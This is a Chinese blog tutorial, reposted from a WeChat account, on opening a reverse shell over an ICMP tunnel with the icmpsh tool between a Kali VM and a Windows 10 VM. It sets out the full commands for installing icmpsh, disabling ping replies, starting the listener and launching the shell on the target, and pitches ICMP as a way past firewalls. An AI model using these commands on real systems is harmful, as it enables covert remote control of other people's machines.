内网之ICMP隧道反弹shell——icmpsh

admin 2022年9月17日14:53:38评论23 views字数 1215阅读4分3秒阅读模式

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

 

ICMP隧道

最常见的ping命令就是利用的ICMP协议,使用该协议反弹shell,两台机器不需要开放端口,ICMP隧道简单好用
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMPping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

 

实验环境

Kali 192.168.0.199  win10 192.168.0.77

 

kali安装icmpsh

git clone https://github.com/inquisb/icmpsh.git

 

Kali安装icmpsh的依赖包

apt-get install python-impacket

内网之ICMP隧道反弹shell——icmpsh

这里踩了个坑,装不了好像,然后用了下面的方法安装

git clone https://github.com/CoreSecurity/impacket.gitcd impacket/python setup.py install

内网之ICMP隧道反弹shell——icmpsh


执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1

内网之ICMP隧道反弹shell——icmpsh

用完记得把他改回0


Kali执行操作:python icmpsh_m.py 本机ip 目标ip

内网之ICMP隧道反弹shell——icmpsh


Win10直接icmpsh.exe -t 攻击机ip

内网之ICMP隧道反弹shell——icmpsh


Kali就可以接一个icmp反弹回来的shell

内网之ICMP隧道反弹shell——icmpsh

接收到了,但是有点乱码。。又是一个坑。。


解决方法是,去目标机输入CHCP 65001

内网之ICMP隧道反弹shell——icmpsh

输入后再重新执行

内网之ICMP隧道反弹shell——icmpsh

解决了


Emm。。实际上,弹了shell后在shell里执行也是可以的。。上面纯粹多此一举。。

内网之ICMP隧道反弹shell——icmpsh



文章仅供学习参考,过程也是利用本地虚拟机演示,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者和本公众号无关。


注:如有侵权请联系删除

内网之ICMP隧道反弹shell——icmpsh

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

原文始发于微信公众号(编码安全研究):内网之ICMP隧道反弹shell——icmpsh

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月17日14:53:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网之ICMP隧道反弹shell——icmpshhttps://cn-sec.com/archives/1301370.html

发表评论

匿名网友 填写信息